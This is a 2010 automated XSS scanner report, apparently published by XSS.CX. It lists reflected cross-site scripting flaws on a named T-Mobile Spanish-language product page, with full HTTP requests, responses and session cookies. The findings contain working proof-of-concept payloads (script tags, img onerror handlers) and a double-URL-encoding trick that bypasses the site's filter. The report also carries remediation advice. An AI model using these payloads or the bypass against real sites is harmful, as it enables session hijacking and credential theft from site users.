XSS, Cross Site Scripting in es.mytouch.t-mobile.com, CWE-79, CAPEC-86, DORK, GHDB

Report generated by XSS.CX at Tue Nov 16 15:52:34 CST 2010.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

1. Cross-site scripting (reflected)

1.1. http://es.mytouch.t-mobile.com/enes/products/mytouch-4g-lp [REST URL parameter 2]

1.2. http://es.mytouch.t-mobile.com/enes/products/mytouch-4g-lp [REST URL parameter 3]

1.3. http://es.mytouch.t-mobile.com/enes/products/mytouch-4g-lp [name of an arbitrarily supplied request parameter]

1.4. http://es.mytouch.t-mobile.com/enes/products/mytouch-4g-lp [wt.mc_id parameter]

1.5. http://es.mytouch.t-mobile.com/enes/products/mytouch-4g-lp [wt.mc_id parameter]

1.6. http://es.mytouch.t-mobile.com/enes/products/mytouch-4g-lp [User-Agent HTTP header]

2. Content type incorrectly stated

1. Cross-site scripting (reflected) next
There are 6 instances of this issue:

/enes/products/mytouch-4g-lp [REST URL parameter 2]
/enes/products/mytouch-4g-lp [REST URL parameter 3]
/enes/products/mytouch-4g-lp [name of an arbitrarily supplied request parameter]
/enes/products/mytouch-4g-lp [wt.mc_id parameter]
/enes/products/mytouch-4g-lp [wt.mc_id parameter]
/enes/products/mytouch-4g-lp [User-Agent HTTP header]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://es.mytouch.t-mobile.com/enes/products/mytouch-4g-lp [REST URL parameter 2] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://es.mytouch.t-mobile.com
Path:	/enes/products/mytouch-4g-lp

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a4f89%253cscript%253ealert%25281%2529%253c%252fscript%253eac5708f2593 was submitted in the REST URL parameter 2. This input was echoed as a4f89<script>alert(1)</script>ac5708f2593 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /enes/productsa4f89%253cscript%253ealert%25281%2529%253c%252fscript%253eac5708f2593/mytouch-4g-lp?wt.mc_id=829m3f2348<img%20src=a%20onerror=alert(1)>e67355b597b HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: es.mytouch.t-mobile.com
Cookie: WT_FPC=id=10.134.111.251-2489137120.30115280:lv=1289933745395:ss=1289933689407; ASP.NET_SessionId=sfjerm45oadvcd45mzq1qgbx; has_js=1; cmTPSet=Y; TMobileCommon=TeaId=f77201cd-00e3-4406-a7d6-d25fe9525fb0; TMobileSpanish=IsSpanishUser=false

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 21:10:14 GMT
Server: Microsoft-IIS/6.0
Cache-Control: private
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Content-Type: text/plain;charset=utf-8
Content-Length: 3583

********************************************************************************
Time => 13:11:34.9010628
--------------------------------------------------------------------------------
Url => http://mytouch.t-mobile.com/404.aspx?404;http://mytouch.t-mobile.com:80/productsa4f89<script>alert(1)</script>ac5708f2593/mytouch-4g-lp?wt.mc_id=829m3f2348<img src=a onerror=alert(1)>
...[SNIP]...

1.2. http://es.mytouch.t-mobile.com/enes/products/mytouch-4g-lp [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://es.mytouch.t-mobile.com
Path:	/enes/products/mytouch-4g-lp

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload bdc5b%253cscript%253ealert%25281%2529%253c%252fscript%253e451932618ed was submitted in the REST URL parameter 3. This input was echoed as bdc5b<script>alert(1)</script>451932618ed in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /enes/products/mytouch-4g-lpbdc5b%253cscript%253ealert%25281%2529%253c%252fscript%253e451932618ed?wt.mc_id=829m3f2348<img%20src=a%20onerror=alert(1)>e67355b597b HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: es.mytouch.t-mobile.com
Cookie: WT_FPC=id=10.134.111.251-2489137120.30115280:lv=1289933745395:ss=1289933689407; ASP.NET_SessionId=sfjerm45oadvcd45mzq1qgbx; has_js=1; cmTPSet=Y; TMobileCommon=TeaId=f77201cd-00e3-4406-a7d6-d25fe9525fb0; TMobileSpanish=IsSpanishUser=false

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 21:10:17 GMT
Server: Microsoft-IIS/6.0
Cache-Control: private
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Content-Type: text/plain;charset=utf-8
Content-Length: 3583

********************************************************************************
Time => 13:11:37.5842972
--------------------------------------------------------------------------------
Url => http://mytouch.t-mobile.com/404.aspx?404;http://mytouch.t-mobile.com:80/products/mytouch-4g-lpbdc5b<script>alert(1)</script>451932618ed?wt.mc_id=829m3f2348<img src=a onerror=alert(1)>
...[SNIP]...

1.3. http://es.mytouch.t-mobile.com/enes/products/mytouch-4g-lp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://es.mytouch.t-mobile.com
Path:	/enes/products/mytouch-4g-lp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload bf3c8<script>alert(1)</script>3f282ca448e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /enes/products/mytouch-4g-lp?wt.mc_id=829m3f2348<img%20src=a%20onerror=alert(1)>e67355b597b&bf3c8<script>alert(1)</script>3f282ca448e=1 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: es.mytouch.t-mobile.com
Cookie: WT_FPC=id=10.134.111.251-2489137120.30115280:lv=1289933745395:ss=1289933689407; ASP.NET_SessionId=sfjerm45oadvcd45mzq1qgbx; has_js=1; cmTPSet=Y; TMobileCommon=TeaId=f77201cd-00e3-4406-a7d6-d25fe9525fb0; TMobileSpanish=IsSpanishUser=false

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 21:10:09 GMT
Server: Microsoft-IIS/6.0
Cache-Control: private
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Content-Type: text/plain;charset=utf-8
Content-Length: 3637

********************************************************************************
Time => 13:11:29.7217964
--------------------------------------------------------------------------------
Url => http:
...[SNIP]...
<img src=a onerror=alert(1)>e67355b597b&bf3c8<script>alert(1)</script>3f282ca448e=1
--------------------------------------------------------------------------------
[HTTP_X_REWRITE_URL] =>
...[SNIP]...

1.4. http://es.mytouch.t-mobile.com/enes/products/mytouch-4g-lp [wt.mc_id parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://es.mytouch.t-mobile.com
Path:	/enes/products/mytouch-4g-lp

Issue detail

The value of the wt.mc_id request parameter is copied into an HTML comment. The payload e725d-->b220ab179fa was submitted in the wt.mc_id parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /enes/products/mytouch-4g-lp?wt.mc_id=e725d-->b220ab179fa HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: es.mytouch.t-mobile.com
Cookie: WT_FPC=id=10.134.111.251-2489137120.30115280:lv=1289933745395:ss=1289933689407; ASP.NET_SessionId=sfjerm45oadvcd45mzq1qgbx; has_js=1; cmTPSet=Y; TMobileCommon=TeaId=f77201cd-00e3-4406-a7d6-d25fe9525fb0; TMobileSpanish=IsSpanishUser=false

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 21:10:04 GMT
Server: Microsoft-IIS/6.0
Cache-Control: private
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Content-Type: text/html;charset=utf-8
Content-Length: 11327

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="es"> <head> <script src="ht
...[SNIP]...
b220ab179fa--><script language="javascript">
...[SNIP]...

1.5. http://es.mytouch.t-mobile.com/enes/products/mytouch-4g-lp [wt.mc_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://es.mytouch.t-mobile.com
Path:	/enes/products/mytouch-4g-lp

Issue detail

The value of the wt.mc_id request parameter is copied into the HTML document as plain text between tags. The payload 29cc8<script>alert(1)</script>cdd0f7ee1b0 was submitted in the wt.mc_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /enes/products/mytouch-4g-lp?wt.mc_id=829m3f2348<img%20src=a%20onerror=alert(1)>e67355b597b29cc8<script>alert(1)</script>cdd0f7ee1b0 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: es.mytouch.t-mobile.com
Cookie: WT_FPC=id=10.134.111.251-2489137120.30115280:lv=1289933745395:ss=1289933689407; ASP.NET_SessionId=sfjerm45oadvcd45mzq1qgbx; has_js=1; cmTPSet=Y; TMobileCommon=TeaId=f77201cd-00e3-4406-a7d6-d25fe9525fb0; TMobileSpanish=IsSpanishUser=false

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 21:10:03 GMT
Server: Microsoft-IIS/6.0
Cache-Control: private
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Content-Type: text/plain;charset=utf-8
Content-Length: 3631

********************************************************************************
Time => 13:11:23.8249208
--------------------------------------------------------------------------------
Url => http:
...[SNIP]...
<img src=a onerror=alert(1)>e67355b597b29cc8<script>alert(1)</script>cdd0f7ee1b0
--------------------------------------------------------------------------------
[HTTP_X_REWRITE_URL] =>
...[SNIP]...

1.6. http://es.mytouch.t-mobile.com/enes/products/mytouch-4g-lp [User-Agent HTTP header] previous

Summary

Severity:	Low
Confidence:	Certain
Host:	http://es.mytouch.t-mobile.com
Path:	/enes/products/mytouch-4g-lp

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 525d9<script>alert(1)</script>5bb1862b777 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /enes/products/mytouch-4g-lp?wt.mc_id=829m3f2348<img%20src=a%20onerror=alert(1)>e67355b597b HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)525d9<script>alert(1)</script>5bb1862b777
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: es.mytouch.t-mobile.com
Cookie: WT_FPC=id=10.134.111.251-2489137120.30115280:lv=1289933745395:ss=1289933689407; ASP.NET_SessionId=sfjerm45oadvcd45mzq1qgbx; has_js=1; cmTPSet=Y; TMobileCommon=TeaId=f77201cd-00e3-4406-a7d6-d25fe9525fb0; TMobileSpanish=IsSpanishUser=false

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 21:10:11 GMT
Server: Microsoft-IIS/6.0
Cache-Control: private
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Content-Type: text/plain;charset=utf-8
Content-Length: 3590

********************************************************************************
Time => 13:11:32.2178284
--------------------------------------------------------------------------------
Url => http:
...[SNIP]...
------------------------------
UserAgent => Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)525d9<script>alert(1)</script>5bb1862b777
--------------------------------------------------------------------------------
MachineName =>
...[SNIP]...

2. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://es.mytouch.t-mobile.com
Path:	/enes/products/mytouch-4g-lp

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain;charset=utf-8

The response states that it contains plain text. However, it actually appears to contain HTML.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /enes/products/mytouch-4g-lp?wt.mc_id=829m3f2348<img%20src=a%20onerror=alert(1)>e67355b597b HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: es.mytouch.t-mobile.com
Cookie: WT_FPC=id=10.134.111.251-2489137120.30115280:lv=1289933745395:ss=1289933689407; ASP.NET_SessionId=sfjerm45oadvcd45mzq1qgbx; has_js=1; cmTPSet=Y; TMobileCommon=TeaId=f77201cd-00e3-4406-a7d6-d25fe9525fb0; TMobileSpanish=IsSpanishUser=false

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 21:09:28 GMT
Server: Microsoft-IIS/6.0
Cache-Control: private
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Content-Type: text/plain;charset=utf-8
Content-Length: 3549

********************************************************************************
Time => 13:10:48.8960730
--------------------------------------------------------------------------------
Url => http:
...[SNIP]...

Report generated by XSS.CX at Tue Nov 16 15:52:34 CST 2010.